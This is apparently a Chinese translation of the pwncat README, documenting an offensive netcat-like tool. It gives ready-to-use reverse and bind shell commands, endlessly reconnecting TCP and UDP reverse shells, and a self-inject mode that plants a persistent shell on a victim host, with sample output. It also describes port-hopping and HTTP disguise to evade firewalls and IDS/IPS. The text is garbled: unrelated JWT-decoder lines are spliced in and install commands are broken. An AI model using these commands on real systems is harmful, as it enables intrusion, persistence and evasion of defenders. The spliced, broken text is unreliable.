文档 | 安装 | 太长不看;概览 | 特性 | 行为 | 使用 | 示例 | 常见问题 | 贡献 | 免责声明 | 许可证
Netcat 增强版,具备防火墙、IDS/IPS 规避、绑定和反向 shell、自注入 shell 和端口转发魔法——并且完全可通过 Python (PSE) 编写脚本。 - docs.pwncat.org
[1] mypy 类型覆盖率 (完全类型化:94.00%)
[2] 构建失败并不表示功能损坏。集成测试运行数小时,可能因各种不同原因(网络超时、GitHub Actions 未知取消等)而偶尔中断:#735、#841
是否曾经不小心在反向 shell 中按下 Ctrl+c,然后它就永远消失了?
是否曾经永远等待客户端回连,却因为防火墙阻挡而无法成功?
是否曾经因为 IPS 关闭可疑端口而导致连接丢失?
是否曾经急需快速端口转发?
这个工具能帮你解决所有问题。
除此之外,当前 nc、ncat 或 socat 的功能并不满足我的需求,我也希望有一个能在新旧机器上都能工作的单一工具(因此兼容 Python 2+3)。最重要的是,我希望它使用我能理解的语言,并能提供自己的扩展功能。
(敬请期待,Linux、MacOS 和 Windows 的二进制版本即将推出。)
| Pwncat 文档 |
|---|
当前版本:0.1.2
| Pip |
|---|
![]() |
pip install pwncat |
[1]: Epel 仓库
[2]: 不稳定
这只是一个快速入门概览。更多高级技巧请参见 💻 使用 或 💡 示例。
curl https://raw.githubusercontent.com/cytopia/pwncat/master/bin/pwncat | base64
echo "" | base64 -d > pwncat chmod +x pwncat
### 注入到目标```bash
# [1] If you found a vulnerability on the target to start a very simple reverse shell,
# such as via bash, php, perl, python, nc or similar, you can instruct your local
# pwncat listener to use this connection to deploy itself on the target automatically
# and start an additional unbreakable reverse shell back to you.
pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445
[1] 详细了解关于自注入
pwncat -l -e '/bin/bash' 8080 -k
```bash
# Reverse shell (Ctrl+c proof: reconnects back to you)
pwncat -e '/bin/bash' example.com 4444 --reconn --recon-wait 1
# Reverse UDP shell (Ctrl+c proof: reconnects back to you)
pwncat -e '/bin/bash' example.com 4444 -u --ping-intvl 1
pwncat -z 10.0.0.1 80,443,8080 pwncat -z 10.0.0.1 1-65535 pwncat -z 10.0.0.1 1+1023
pwncat -z 10.0.0.1 80,443,8080 -u pwncat -z 10.0.0.1 1-65535 -u pwncat -z 10.0.0.1 1+1023 -u
pwncat -z 10.0.0.1 1-65535 -4 pwncat -z 10.0.0.1 1-65535 -6 -u
pwncat -z 10.0.0.1 1-65535 --banner
### 本地端口转发 `-L` (监听代理)```bash
# Make remote MySQL server (remote port 3306) available on current machine
# on every interface on port 5000
pwncat -L 0.0.0.0:5000 everythingcli.org 3306
# Same, but convert traffic on your end to UDP
pwncat -L 0.0.0.0:5000 everythingcli.org 3306 -u
-R (双客户端代理)```bashpwncat -R 10.0.0.1:4444 everythingcli.org 3306
```bash
# Same, but convert traffic on your end to UDP
pwncat -R 10.0.0.1:4444 everythingcli.org 3306 -u
pwncat 功能丰富,以下仅列出部分突出特点。
*该特性正在开发中。
与 netcat 原始实现类似,当使用 TCP 时,pwncat
(在客户端和监听模式下)会在网络连接正常或非正常终止时自动退出。
若远程对端未终止连接,或处于 UDP 模式,netcat 和 pwncat 将保持连接。当 STDIN 关闭时,行为略有不同。
netcat:如果 STDIN 关闭但连接保持,netcat 将保持打开pwncat:如果 STDIN 关闭但连接保持,pwncat 将关闭你可以使用 --no-shutdown 命令行参数模拟 netcat 的行为。
请参考以下命令以更好地理解这一行为:```bash
printf "GET / HTTP/1.1\n\n" | pwncat www.google.com 80
printf "GET / HTTP/1.1\n\n" | pwncat www.google.com 80 --no-shutdown
A new file, with modifications, gets created as `original_file_decoded.txt`.
If you want to know more about how the code works, please refer to my [blog post](https://le3kf.medium.com/jwt-decoder-script-decode-jwt-payload-body-69220425b8c4).
### 🎭 JWT 编码与掩码```bash
# [Invalid HTTP request] Quits, because the web server closes the connection and STDIN is EOF
printf "GET / \n\n" | pwncat www.google.com 80
Threat model
pwncat -l 4444 > output.txt pwncat localhost 4444 < input.txt
pwncat -l 4444 --no-shutdown > output.txt pwncat localhost 4444 --no-shutdown < input.txt
请注意,通过UDP发送文件并不可靠。```bash
# [UDP] (--no-shutdown has no effect, as this is the default behaviour in UDP)
# Neither of both, client and server will quit after successful transfer
# and they will be stuck, waiting for more input or output.
# When exiting one (e.g.: via Ctrl+c), the other one will still stay open in UDP mode.
pwncat -u -l 4444 > output.txt
pwncat -u localhost 4444 < input.txt
有许多方法来改变这种默认行为。有关更高级的设置,请参阅使用说明。
[1] 仅在未使用
--no-shutdown和--keep时有效。会关闭其用于发送的套接字,从而向远端和其套接字上的 EOF 发送信号。
输入 pwncat -h 或点击下方查看所有可用选项。
Enhanced and compatible Netcat implementation written in Python (2 and 3) with connect, zero-i/o, listen and forward modes and techniques to detect and evade firewalls and intrusion detection/prevention systems.
If no mode arguments are specified, pwncat will run in connect mode and act as a client to connect to a remote endpoint. If the connection to the remote endoint is lost, pwncat will quit. See options for how to automatically re- connect.
positional arguments: hostname Address to listen, forward, scan or connect to.
port [All modes] Single port to listen, forward or connect to. [Zero-I/O mode] Specify multiple ports to scan: Via list: 4444,4445,4446 Via range: 4444-4446 Via incr: 4444+2
mode arguments: -l, --listen [Listen mode]: Start a server and listen for incoming connections. If using TCP and a connected client disconnects or the connection is interrupted otherwise, the server will quit. See -k/--keep-open to change this behaviour.
-z, --zero [Zero-I/0 mode]: Connect to a remote endpoint and report status only. Used for port scanning. See --banner for version detection.
-L [addr:]port, --local [addr:]port [Local forward mode]: This mode will start a server and a client internally. The internal server will listen locally on specified addr/port (given by --local [addr:]port). The server will then forward traffic to the internal client which connects to another server specified by hostname/port given via positional arguments. (I.e.: proxies a remote service to a local address)
-R addr:port, --remote addr:port [Remote forward mode]: This mode will start two clients internally. One is connecting to the target and one is connecting to another pwncat/netcat server you have started some- where. Once connected, it will then proxy traffic between you and the target. This mode should be applied on machines that block incoming traffic and only allow outbound. The connection to your listening server is given by -R/--remote addr:port and the connection to the target machine via the positional arguments.
optional arguments: -e cmd, --exec cmd Execute shell command. Only for connect or listen mode.
-C lf, --crlf lf Specify, 'lf', 'crlf' or 'cr' to always force replacing line endings for input and outout accordingly. Specify 'no' to completely remove any line feeds. By default it will not replace anything and takes what is entered (usually CRLF on Windows, LF on Linux and some times CR on MacOS).
-n, --nodns Do not resolve DNS.
--send-on-eof Buffer data received on stdin until EOF and send everything in one chunk.
| 代码风格 | 集成测试 [2] |
|---|
|
| 链接 |
|---|
| 官方文档 | https://docs.pwncat.org |
| 官方网站 | https://pwncat.org |
| API 文档 | https://pwncat.org/pwncat.api.html |
| Pwncat 脚本引擎 | PSE |
| MacOS | Arch Linux | BlackArch | CentOS[1] |
|---|
![]() | |||
brew install pwncat | yay -S pwncat | pacman -S pwncat | yum install pwncat |
| Fedora | Kali Linux | NixOS[2] | Oracle Linux[1] |
dnf install pwncat | apt install pwncat | nixos.pwncat | yum install pwncat |
| Pentoo | Parrot OS | ||
net-analyzer/pwncat | apt install pwncat |
不可中断的反向 shell——多个 shell
|
| 特性 | 描述 |
|---|
| PSE | 完全可脚本化的 Pwncat 脚本引擎,支持发送和接收时的各种花式操作 |
| 端口扫描 | TCP 和 UDP 端口扫描,附带基础版本检测支持 |
| 自注入远程 Shell | 自注入模式,自动部署自身并启动一个不可中断的反向 Shell 返回给你 |
| 绑定 Shell | 创建绑定 Shell |
| 反向 Shell | 创建反向 Shell |
| 端口转发 | 本地和远程端口转发(代理服务器/客户端) |
| Ctrl+c | 若不小心按下 Ctrl+c,反向 Shell 可重新连接 |
| 检测出口端口 | 扫描并报告目标上的开放出口端口(端口跳跃) |
| 绕过防火墙 | 通过轮换出口端口(端口跳跃)绕过出口防火墙 |
| 绕过 IPS | 通过连接中断时轮换出口端口(端口跳跃)绕过入侵防御系统 |
| UDP 反向 Shell | 用传统 netcat 试试这个 |
| 有状态 UDP | UDP 客户端模式的有状态连接阶段 |
| TCP / UDP | 完整支持 TCP 和 UDP |
| IPv4 / IPv6 | 双栈或单栈 IPv4 和 IPv6 支持 |
| Python 2+3 | 兼容 Python 2、Python 3、pypy2 和 pypy3 |
| 跨操作系统 | 在 Linux、macOS 和 Windows 上均可运行(只要 Python 可用) |
| 兼容性 | 可与 netcat、ncat 或 socat 作为客户端或服务器配合 pwncat 使用 |
| 便携性 | 单文件,仅使用核心包——无需外部依赖。 |
| pwncat | netcat | ncat | socat |
|---|
| 脚本引擎 | ✔ Python | ❌ | ✔ Lua | ❌ |
| IP ToS | ✔ | ✔ | ❌ | ✔ |
| IPv4 | ✔ | ✔ | ✔ | ✔ |
| IPv6 | ✔ | ✔ | ✔ | ✔ |
| Unix 域套接字 | ❌ | ✔ | ✔ | ✔ |
| Linux vsock | ❌ | ❌ | ✔ | ❌ |
| 套接字源绑定 | ✔ | ✔ | ✔ | ✔ |
| TCP | ✔ | ✔ | ✔ | ✔ |
| UDP | ✔ | ✔ | ✔ | ✔ |
| SCTP | ❌ | ❌ | ✔ | ✔ |
| SSL | ❌ | ❌ | ✔ | ✔ |
| HTTP | ✔ | ❌ | ❌ | ❌ |
| HTTPS | * | ❌ | ❌ | ❌ |
| Telnet 协商 | ❌ | ✔ | ✔ | ❌ |
| 代理支持 | ❌ | ✔ | ✔ | ✔ |
| 本地端口转发 | ✔ | ❌ | ❌ | ✔ |
| 远程端口转发 | ✔ | ❌ | ❌ | ❌ |
| 入站端口扫描 | ✔ | ✔ | ✔ | ❌ |
| 出站端口扫描 | ✔ | ❌ | ❌ | ❌ |
| 版本检测 | ✔ | ❌ | ❌ | ❌ |
| 聊天 | ✔ | ✔ | ✔ | ✔ |
| 命令执行 | ✔ | ✔ | ✔ | ✔ |
| 十六进制转储 | * | ✔ | ✔ | ✔ |
| 中介 | ❌ | ❌ | ✔ | ❌ |
| 并发连接 | ❌ | ❌ | ✔ | ✔ |
| 允许/拒绝 | ❌ | ❌ | ✔ | ✔ |
| 重新接受 | ✔ | ✔ | ✔ | ✔ |
| 自注入 | ✔ | ❌ | ❌ | ❌ |
| UDP 反向 Shell | ✔ | ❌ | ❌ | ❌ |
| 自动重连客户端 | ✔ | ❌ | ❌ | ❌ |
| 端口跳跃 | ✔ | ❌ | ❌ | ❌ |
| 紧急关闭 | ✔ | ❌ | ❌ | ❌ |
| 行为 | ![]() | ![]() | ![]() |
|---|
| 退出 (SIGINT) | Ctrl+c | Ctrl+c | Ctrl+c |
| 退出 (SIGQUIT) | Ctrl+\ | ? | ? |
| 退出 (SIGQUIT) | Ctrl+4 | ? | ? |
| 退出 STDIN[1] | Ctrl+d | Ctrl+d | Ctrl+z 和 Ctrl+Enter |
| 发送 (NL) | Ctrl+j | ? | ? |
| 发送 (EOL) | Ctrl+m | ? | ? |
| 发送 (EOL) | Enter | Enter | Enter |
--no-shutdown Do not shutdown into half-duplex mode. If this option is passed, pwncat won't invoke shutdown on a socket after seeing EOF on stdin. This is provided for backward-compatibility with OpenBSD netcat, which exhibits this behavior.
-v, --verbose Be verbose and print info to stderr. Use -v, -vv, -vvv or -vvvv for more verbosity. The server performance will decrease drastically if you use more than three times.
--info type Show additional info about sockets, IPv4/6 or TCP opts applied to the current socket connection. Valid parameter are 'sock', 'ipv4', 'ipv6', 'tcp' or 'all'. Note, you must at least be in INFO verbose mode in order to see them (-vv).
-c str, --color str Colored log output. Specify 'always', 'never' or 'auto'. In 'auto' mode, color is displayed as long as the output goes to a terminal. If it is piped into a file, color will automatically be disabled. This mode also disables color on Windows by default. (default: auto)
--safe-word str All modes: If pwncat is started with this argument, it will shut down as soon as it receives the specified string. The --keep-open (server) or --reconn (client) options will be ignored and it won't listen again or reconnect to you. Use a very unique string to not have it shut down accidentally by other input.
protocol arguments: -4 Only Use IPv4 (default: IPv4 and IPv6 dualstack).
-6 Only Use IPv6 (default: IPv4 and IPv6 dualstack).
-u, --udp Use UDP for the connection instead of TCP.
-T str, --tos str Specifies IP Type of Service (ToS) for the connection. Valid values are the tokens 'mincost', 'lowcost', 'reliability', 'throughput' or 'lowdelay'.
--http Connect / Listen mode (TCP and UDP): Hide traffic in http packets to fool Firewalls/IDS/IPS.
--https Connect / Listen mode (TCP and UDP): Hide traffic in https packets to fool Firewalls/IDS/IPS.
-H [str [str ...]], --header [str [str ...]] Add HTTP headers to your request when using --http(s).
command & control arguments: --self-inject cmd:host:port[s] Listen mode (TCP only): If you are about to inject a reverse shell onto the victim machine (via php, bash, nc, ncat or similar), start your listening server with this argument. This will then (as soon as the reverse shell connects) automatically deploy and background-run an unbreakable pwncat reverse shell onto the victim machine which then also connects back to you with specified arguments. Example: '--self-inject /bin/bash:10.0.0.1:4444' It is also possible to launch multiple reverse shells by specifying multiple ports. Via list: --self-inject /bin/sh:10.0.0.1:4444,4445,4446 Via range: --self-inject /bin/sh:10.0.0.1:4444-4446 Via incr: --self-inject /bin/sh:10.0.0.1:4444+2 Note: this is currently an experimental feature and does not work on Windows remote hosts yet.
pwncat scripting engine: --script-send file All modes (TCP and UDP): A Python scripting engine to define your own custom transformer function which will be executed before sending data to a remote endpoint. Your file must contain the exact following function which will: be applied as the transformer: def transform(data, pse): # NOTE: the function name must be 'transform' # NOTE: the function param name must be 'data' # NOTE: indentation must be 4 spaces # ... your transformations goes here return data You can also define as many custom functions or classes within this file, but ensure to prefix them uniquely to not collide with pwncat's function or classes, as the file will be called with exec().
--script-recv file All modes (TCP and UDP): A Python scripting engine to define your own custom transformer function which will be executed after receiving data from a remote endpoint. Your file must contain the exact following function which will: be applied as the transformer: def transform(data, pse): # NOTE: the function name must be 'transform' # NOTE: the function param name must be 'data' # NOTE: indentation must be 4 spaces # ... your transformations goes here return data You can also define as many custom functions or classes within this file, but ensure to prefix them uniquely to not collide with pwncat's function or classes, as the file will be called with exec().
zero-i/o mode arguments: --banner Zero-I/O (TCP and UDP): Try banner grabbing during port scan.
listen mode arguments: -k, --keep-open Listen mode (TCP only): Re-accept new clients in listen mode after a client has disconnected or the connection is interrupted otherwise. (default: server will quit after connection is gone)
--rebind [x] Listen mode (TCP and UDP): If the server is unable to bind, it will re-initialize itself x many times before giving up. Omit the quantifier to rebind endlessly or specify a positive integer for how many times to rebind before giving up. See --rebind-robin for an interesting use-case. (default: fail after first unsuccessful try).
--rebind-wait s Listen mode (TCP and UDP): Wait x seconds between re-initialization. (default: 1)
--rebind-robin port Listen mode (TCP and UDP): If the server is unable to initialize (e.g: cannot bind and --rebind is specified, it it will shuffle ports in round-robin mode to bind to. Use comma separated string such as '80,81,82,83', a range of ports '80-83' or an increment '80+3'. Set --rebind to at least the number of ports to probe +1 This option requires --rebind to be specified.
connect mode arguments: --source-addr addr Specify source bind IP address for connect mode.
--source-port port Specify source bind port for connect mode.
--reconn [x] Connect mode (TCP and UDP): If the remote server is not reachable or the connection is interrupted, the client will connect again x many times before giving up. Omit the quantifier to retry endlessly or specify a positive integer for how many times to retry before giving up. (default: quit if the remote is not available or the connection was interrupted) This might be handy for stable TCP reverse shells ;-) Note on UDP: By default UDP does not know if it is connected, so it will stop at the first port and assume it has a connection. Consider using --udp-sconnect with this option to make UDP aware of a successful connection.
--reconn-wait s Connect mode (TCP and UDP): Wait x seconds between re-connects. (default: 1)
--reconn-robin port Connect mode (TCP and UDP): If the remote server is not reachable or the connection is interrupted and --reconn is specified, the client will shuffle ports in round-robin mode to connect to. Use comma separated string such as '80,81,82,83', a range of ports '80-83' or an increment '80+3'. Set --reconn to at least the number of ports to probe +1 This helps reverse shell to evade intrusiona prevention systems that will cut your connection and block the outbound port. This is also useful in Connect or Zero-I/O mode to figure out what outbound ports are allowed.
--ping-init Connect mode (TCP and UDP): UDP is a stateless protocol unlike TCP, so no hand- shake communication takes place and the client just sends data to a server without being "accepted" by the server first. This means a server waiting for an UDP client to connect to, is unable to send any data to the client, before the client hasn't send data first. The server simply doesn't know the IP address before an initial connect. The --ping-init option instructs the client to send one single initial ping packet to the server, so that it is able to talk to the client. This is a way to make a UDP reverse shell work. See --ping-word for what char/string to send as initial ping packet (default: '\0')
--ping-intvl s Connect mode (TCP and UDP): Instruct the client to send ping intervalls every s sec. This allows you to restart your UDP server and just wait for the client to report back in. This might be handy for stable UDP reverse shells ;-) See --ping-word for what char/string to send as initial ping packet (default: '\0')
--ping-word str Connect mode (TCP and UDP): Change the default character '\0' to use for upd ping. Single character or strings are supported.
--ping-robin port Connect mode (TCP and UDP): Instruct the client to shuffle the specified ports in round-robin mode for a remote server to ping. This might be handy to scan outbound allowed ports. Use comma separated string such as '80,81,82,83', a range of ports '80-83' or an increment '80+3'. Use --ping-intvl 0 to be faster.
--udp-sconnect Connect mode (UDP only): Emulating stateful behaviour for UDP connect phase by sending an initial packet to the server to validate if it is actually connected. By default, UDP will simply issue a connect and is not aware if it is really connected or not. The default connect packet to be send is '\0', you can change this with --udp-sconnect-word.
--udp-sconnect-word [str] Connect mode (UDP only): Change the the data to be send for UDP stateful connect behaviour. Note you can also omit the string to send an empty packet (EOF), but be aware that some servers such as netcat will instantly quit upon receive of an EOF packet. The default is to send a null byte sting: '\0'.
misc arguments: -h, --help Show this help message and exit -V, --version Show version information and exit
</details>
## :bulb: 示例
### 将你的shell升级为交互式
<!--
<details>
<summary>点击展开</summary>
-->
> 这是一个通用建议,不仅适用于 `pwncat`,也适用于所有其他常见工具。
当通过反向或绑定Shell连接时,你会注意到交互式命令无法工作,并且按 <kbd>Ctrl</kbd>+<kbd>c</kbd> 会终止会话。
要解决此问题,你需要将其附加到TTY(使其成为交互式)。方法如下:```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
Ctrl+z```bash
stty size
stty raw -echo fg
stty raw -echo; fg
reset export SHELL=bash export TERM=xterm stty rows columns # and values found above by 'stty size'
> <sup>[1] [Reverse Shell Cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#spawn-tty-shell)</sup>
### UDP 反向 shell
如果不使用一些技巧,UDP 反向 shell 实际上是不可能的。与 TCP 相比,UDP 是无状态协议,没有像 TCP 那样的 `connect()` 方法。
在 TCP 模式下,一旦客户端发起 `connects()`,服务器就会知道客户端的 IP 和端口。
在 UDP 模式下,由于没有 `connect()`,客户端只需向一个地址/端口发送数据,而不需要先建立连接。
因此,在 UDP 模式下,服务器无法知道客户端的 IP 和端口,也就无法首先向客户端发送数据。
唯一可行的方式是让客户端先向服务器发送某种数据,这样服务器就能看到是哪个 IP/端口发送了数据。
`pwncat` 模拟了 TCP 的 `connect()`,方法是让客户端通过 `--ping-intvl` 或 `--ping-init` 向服务器发送一次或周期性发送一个空字节。```bash
# The client
# --exec # Provide this executable
# --udp # Use UDP mode
# --ping-init # Send an initial null byte to the server
pwncat --exec /bin/bash --udp --ping-init 10.0.0.1 4444
为什么说不可断开?因为即使你暂时关闭监听服务器,它也会不断尝试重新连接。 换句话说,客户端会持续尝试连接到指定的服务器,直到成功。如果连接中断,它会不断重试。```bash
pwncat --exec /bin/bash --nodns --reconn --reconn-wait 2 10.0.0.1 4444
### 不可摧毁的UDP反弹Shell
为什么不可摧毁?因为它会不断返回给你,即使你暂时关闭了监听服务器。
换句话说,客户端会持续向服务器发送空字节以不断宣告自身存在。```bash
# The client
# --exec # Provide this executable
# --nodns # Keep the noise down and don't resolve hostnames
# --udp # Use UDP mode
# --ping-intvl # Ping the server every 2 seconds
pwncat --exec /bin/bash --nodns --udp --ping-intvl 2 10.0.0.1 4444
假设你能够从目标机器创建一个非常简单且不稳定的反向 shell 连接到你的机器,比如通过 PHP 脚本或类似方式实现的 web shell。考虑到这种连接不会持续很久,或者可能因网络连接不稳定而中断,你可以使用 pwncat 来接入这个连接,并在目标上完全自动化地部署一个持久稳定的反向 shell——全程自动化。
你只需要将 pwncat 作为本地监听器,并使用 --self-inject 开关启动它。一旦客户端(例如反向 web shell)连接到它,它会执行以下操作:
完成这些步骤后,你可以继续使用当前连接,或者直接放弃它并启动一个新的监听器(是的,你不需要在启动反向 shell 之前先启动监听器),让新的 pwncat 客户端连接到你。新的监听器也不必是 pwncat,可以是 netcat 或 ncat。
--self-inject 开关:```bash
pwncat -l 4444 --self-inject ::
* `<cmd>`: 这是在目标上启动的命令(如 `-e`/`--exec`,因此你希望它是 `cmd.exe` 或 `/bin/bash`)
* `<host>`: 这是你的本地机器的 IP 地址,反向 shell 将连接回该地址
* `<port>`: 这是你的本地机器的端口,反向 shell 将连接回该端口
因此,假设你的 Kali 机器是 10.0.0.1。你指示你注入到 Linux 服务器上的 webshell 连接到你的端口 `4444`:```bash
# Start this locally, before starting the reverse webshell
pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445
(空)``` [PWNCAT CnC] Probing for: /bin/python [PWNCAT CnC] Probing for: /bin/python2 [PWNCAT CnC] Probing for: /bin/python2.7 [PWNCAT CnC] Probing for: /bin/python3 [PWNCAT CnC] Probing for: /bin/python3.5 [PWNCAT CnC] Probing for: /bin/python3.6 [PWNCAT CnC] Probing for: /bin/python3.7 [PWNCAT CnC] Probing for: /bin/python3.8 [PWNCAT CnC] Probing for: /usr/bin/python [PWNCAT CnC] Potential path: /usr/bin/python [PWNCAT CnC] Found valid Python2 version: 2.7.16 [PWNCAT CnC] Creating tmpfile: /tmp/tmp3CJ8Us [PWNCAT CnC] Creating tmpfile: /tmp/tmpgHg7YT [PWNCAT CnC] Uploading: /home/cytopia/tmp/pwncat/bin/pwncat -> /tmp/tmpgHg7YT (3422/3422) [PWNCAT CnC] Decoding: /tmp/tmpgHg7YT -> /tmp/tmp3CJ8Us Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4445 &
And you are set. You can now start another listener locally at `4445` (again, it will connect back to you endlessly, so it is not required to start the listener first).```bash
# either netcat
nc -lp 4445
# or ncat
ncat -l 4445
# or pwncat
pwncat -l 4445
与其只要求一个自注入反向 shell,你可以指示 pwncat 根据需要生成尽可能多的、不可中断的、回连到你这里的反向 shell。
--self-inject 参数不仅允许你定义单个端口,还可以定义:
4445,4446,4447,44484446-44484445+3为了生成4个反向 shell,你需要像上面描述的那样启动监听器,但不是定义一个端口,而是定义多个:```bash
pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445,4446,4447,4448
pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445-4448
pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445+3
上面三个命令中的每一个都会实现相同的行为:在目标内部生成4个反弹shell。
一旦客户端连接,输出将类似于以下内容:```
[PWNCAT CnC] Probing for: /bin/python
[PWNCAT CnC] Probing for: /bin/python2
[PWNCAT CnC] Probing for: /bin/python2.7
[PWNCAT CnC] Probing for: /bin/python3
[PWNCAT CnC] Probing for: /bin/python3.5
[PWNCAT CnC] Probing for: /bin/python3.6
[PWNCAT CnC] Probing for: /bin/python3.7
[PWNCAT CnC] Probing for: /bin/python3.8
[PWNCAT CnC] Probing for: /usr/bin/python
[PWNCAT CnC] Potential path: /usr/bin/python
[PWNCAT CnC] Found valid Python2 version: 2.7.16
[PWNCAT CnC] Creating tmpfile: /tmp/tmp3CJ8Us
[PWNCAT CnC] Creating tmpfile: /tmp/tmpgHg7YT
[PWNCAT CnC] Uploading: /home/cytopia/tmp/pwncat/bin/pwncat -> /tmp/tmpgHg7YT (3422/3422)
[PWNCAT CnC] Decoding: /tmp/tmpgHg7YT -> /tmp/tmp3CJ8Us
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4445 &
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4446 &
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4447 &
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4448 &
注意: 确保你有一个能持续回连的反向Shell。这样你就可以随时更改日志设置而不会丢失Shell。
如果你愿意,可以以完整的TRACE日志记录模式启动监听器,以了解正在发生的事情或进行故障排除。
日志消息根据其严重级别显示不同颜色。如果stderr不是pty(例如,将输出通过管道重定向到文件),颜色会自动关闭。
你也可以通过--color选项手动禁用终端输出的彩色日志。```bash
pwncat -vvvv -l 4444
你将会看到(在所有杂乱的无关信息中)一条 TRACE 消息:```bash
2020-05-11 08:40:57,927 DEBUG NetcatServer.receive(): 'Client connected: 127.0.0.1:46744'
2020-05-11 08:40:57,927 TRACE [STDIN] 1854:producer(): Command output: b'\x1b[32m[0]\x1b[0m\r\r\n'
2020-05-11 08:40:57,927 TRACE [STDIN] 2047:run_action(): [STDIN] Producer received: '\x1b[32m[0]\x1b[0m\r\r\n'
2020-05-11 08:40:57,927 DEBUG [STDIN] 815:send(): Trying to send 15 bytes to 127.0.0.1:46744
2020-05-11 08:40:57,927 TRACE [STDIN] 817:send(): Trying to send: b'\x1b[32m[0]\x1b[0m\r\r\n'
2020-05-11 08:40:57,927 DEBUG [STDIN] 834:send(): Sent 15 bytes to 127.0.0.1:46744 (0 bytes remaining)
2020-05-11 08:40:57,928 TRACE [STDIN] 1852:producer(): Reading command output
一旦你在监听器上看到这个,你就可以向客户端发送命令。 所有调试信息也都是不必要的,因此你可以安全地按Ctrl+c终止你的服务器,并以静默模式重新启动:```bash pwncat -l 4444
现在最多等待几秒钟,取决于客户端返回给你的间隔,瞧,你的会话现在又没有日志了。
完全没有信息消息有时也是不希望出现的。你可能想知道后台发生了什么
或者?安全地按<kbd>Ctrl</kbd>+<kbd>c</kbd>终止你的服务器,并将通知重定向
到日志文件:```bash
pwncat -l -vvv 4444 2> comm.txt
现在你在终端会话中只会看到实际的命令输入和输出。如果你想了解后台发生了什么,可以打开第二个终端窗口并追踪 comm.txt 文件:```bash
tail -fn50 comm.txt
2020-05-11 08:40:57,927 DEBUG NetcatServer.receive(): 'Client connected: 127.0.0.1:46744' 2020-05-11 08:40:57,927 TRACE [STDIN] 1854:producer(): Command output: b'\x1b[32m[0]\x1b[0m\r\r\n' 2020-05-11 08:40:57,927 TRACE [STDIN] 2047:run_action(): [STDIN] Producer received: '\x1b[32m[0]\x1b[0m\r\r\n' 2020-05-11 08:40:57,927 DEBUG [STDIN] 815:send(): Trying to send 15 bytes to 127.0.0.1:46744 2020-05-11 08:40:57,927 TRACE [STDIN] 817:send(): Trying to send: b'\x1b[32m[0]\x1b[0m\r\r\n' 2020-05-11 08:40:57,927 DEBUG [STDIN] 834:send(): Sent 15 bytes to 127.0.0.1:46744 (0 bytes remaining) 2020-05-11 08:40:57,928 TRACE [STDIN] 1852:producer(): Reading command output
#### 套接字信息
另一个有用的功能是显示当前配置的套接字和网络设置。
使用 `--info` 开关并指定 `socket`、`ipv4`、`ipv6`、`tcp` 或 `all` 来显示所有可用设置。
**注意:** 要查看这些设置,你至少需要处于 `INFO` 日志级别(`-vv`)。
下面是在 IPv4/TCP 模式下没有任何自定义设置的示例输出:```
INFO: [bind-sock] Sock: SO_DEBUG: 0
INFO: [bind-sock] Sock: SO_ACCEPTCONN: 1
INFO: [bind-sock] Sock: SO_REUSEADDR: 1
INFO: [bind-sock] Sock: SO_KEEPALIVE: 0
INFO: [bind-sock] Sock: SO_DONTROUTE: 0
INFO: [bind-sock] Sock: SO_BROADCAST: 0
INFO: [bind-sock] Sock: SO_LINGER: 0
INFO: [bind-sock] Sock: SO_OOBINLINE: 0
INFO: [bind-sock] Sock: SO_REUSEPORT: 0
INFO: [bind-sock] Sock: SO_SNDBUF: 16384
INFO: [bind-sock] Sock: SO_RCVBUF: 131072
INFO: [bind-sock] Sock: SO_SNDLOWAT: 1
INFO: [bind-sock] Sock: SO_RCVLOWAT: 1
INFO: [bind-sock] Sock: SO_SNDTIMEO: 0
INFO: [bind-sock] Sock: SO_RCVTIMEO: 0
INFO: [bind-sock] Sock: SO_ERROR: 0
INFO: [bind-sock] Sock: SO_TYPE: 1
INFO: [bind-sock] Sock: SO_PASSCRED: 0
INFO: [bind-sock] Sock: SO_PEERCRED: 0
INFO: [bind-sock] Sock: SO_BINDTODEVICE: 0
INFO: [bind-sock] Sock: SO_PRIORITY: 0
INFO: [bind-sock] Sock: SO_MARK: 0
INFO: [bind-sock] IPv4: IP_OPTIONS: 0
INFO: [bind-sock] IPv4: IP_HDRINCL: 0
INFO: [bind-sock] IPv4: IP_TOS: 0
INFO: [bind-sock] IPv4: IP_TTL: 64
INFO: [bind-sock] IPv4: IP_RECVOPTS: 0
INFO: [bind-sock] IPv4: IP_RECVRETOPTS: 0
INFO: [bind-sock] IPv4: IP_RETOPTS: 0
INFO: [bind-sock] IPv4: IP_MULTICAST_IF: 0
INFO: [bind-sock] IPv4: IP_MULTICAST_TTL: 1
INFO: [bind-sock] IPv4: IP_MULTICAST_LOOP: 1
INFO: [bind-sock] IPv4: IP_DEFAULT_MULTICAST_TTL: 0
INFO: [bind-sock] IPv4: IP_DEFAULT_MULTICAST_LOOP: 0
INFO: [bind-sock] IPv4: IP_MAX_MEMBERSHIPS: 0
INFO: [bind-sock] IPv4: IP_TRANSPARENT: 0
INFO: [bind-sock] TCP: TCP_NODELAY: 0
INFO: [bind-sock] TCP: TCP_MAXSEG: 536
INFO: [bind-sock] TCP: TCP_CORK: 0
INFO: [bind-sock] TCP: TCP_KEEPIDLE: 7200
INFO: [bind-sock] TCP: TCP_KEEPINTVL: 75
INFO: [bind-sock] TCP: TCP_KEEPCNT: 9
INFO: [bind-sock] TCP: TCP_SYNCNT: 6
INFO: [bind-sock] TCP: TCP_LINGER2: 60
INFO: [bind-sock] TCP: TCP_DEFER_ACCEPT: 0
